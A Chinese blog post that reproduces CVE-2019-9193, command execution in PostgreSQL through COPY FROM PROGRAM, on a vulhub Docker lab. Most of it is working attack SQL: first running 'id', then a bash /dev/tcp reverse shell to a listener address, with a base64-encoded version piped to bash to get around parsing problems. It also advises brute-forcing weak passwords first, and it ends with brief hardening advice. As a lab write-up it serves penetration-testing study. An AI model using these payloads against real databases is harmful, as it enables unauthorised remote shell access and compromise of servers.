CVE-2019-9193之PostgreSQL?任意命令执行漏洞的问题(cve20190708漏洞)深度揭秘

随心笔谈2年前发布 编辑
174 0
🌐 经济型:买域名、轻量云服务器、用途:游戏 网站等 《腾讯云》特点:特价机便宜 适合初学者用 点我优惠购买
🚀 拓展型:买域名、轻量云服务器、用途:游戏 网站等 《阿里云》特点:中档服务器便宜 域名备案事多 点我优惠购买
🛡️ 稳定型:买域名、轻量云服务器、用途:游戏 网站等 《西部数码》 特点:比上两家略贵但是稳定性超好事也少 点我优惠购买



目录一、靶场环境二、漏洞利用三、漏洞修复

起序:客户内网测试的时候遇到的,搭建一个环境,写个笔记记录一下。

使用的是 上的 环境。 版本为 。

vulhub:https://github.com/vulhub/vulhub

1、任意命令执行

具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。

从 9.3 版本开始,Postgres 新增了一个 功能,允许数据库的超级用户以及 组中的任何用户执行操作系统命令。

漏洞利用前提:

需要登陆;需要高权限;

所以要先弱口令爆破之后,然后查看是否是高权限。(对于PostgreSQL 来说,只有安装数据库时默认创建的超级用户 postgres,类似于 Linux上的root用户,拥有高权限。)

新建数据库用户:CREATE USER

新建数据库:CREATE DATABASE

删除数据库:DROP DATABASE

删除用户:DROP USER

撤销权限:REVOKE

赋权:GRANT

查看权限:https://www.modb.pro/db/53957

2、影响版本

受影响的版本(貌似更新版本无解)

PostgreSQL >=9.3

1、启动靶机

docker-compose up -d

注:当测试完成之后会用到 的命令。不是现在就要使用的命令。

docker-compose down -v

2、Navicat 连接 PostgreSQL

账号密码:。

3、执行命令

右键 ,点击 。

然后就是执行下面的这些命令。

— 先删除你想要使用但是已经存在的表
DROP TABLE IF EXISTS cmd_exec;

— 创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);

— 执行系统命令利用特定函数
COPY cmd_exec FROM PROGRAM ‘id’;

— 查看执行结果
SELECT * FROM cmd_exec;

4、实战拓展:反弹 shell 1、nc 监听

在 kali 中使用 nc 进行监听。

nc -lvvp 1314

2、执行反弹 shell 的命令

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM ‘/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1’;
SELECT * FROM cmd_exec;

但是可以看出执行失败了,这种方法不行。

3、反弹失败

kali 也没有得到 shell。

4、编码解决

将反弹 shell 的命令 base64 编码一下。(下面的解码不用管)

# base64 编码前
/bin/bash -i >& /dev/tcp/192.168.2.130/1314 0>&1

# base64 编码后
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==

5、再次执行反弹 shell 的命令

这里的编码不仅仅限于 ,其他编码形式也可以,主要是为了解决数据传输过程中的特殊字符被异常解析的问题。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM ‘echo “L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMzAvMTMxNCAwPiYxCg==” | base64 -d | bash’;
SELECT * FROM cmd_exec;

6、反弹成功

角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;增强密码的复杂度;进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;

到此这篇关于CVE-2019-9193:PostgreSQL 任意命令执行漏洞的文章就介绍到这了,更多相关PostgreSQL 任意命令执行漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)关于CVE-2020-1983:Tomcat?文件包含漏洞的问题分析jackjson的安全漏洞CVE-2019-14379关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题Windows CVE-2019-0708 远程桌面代码执行漏洞复现问题CVE-2020-15148漏洞分析

© 版权声明

相关文章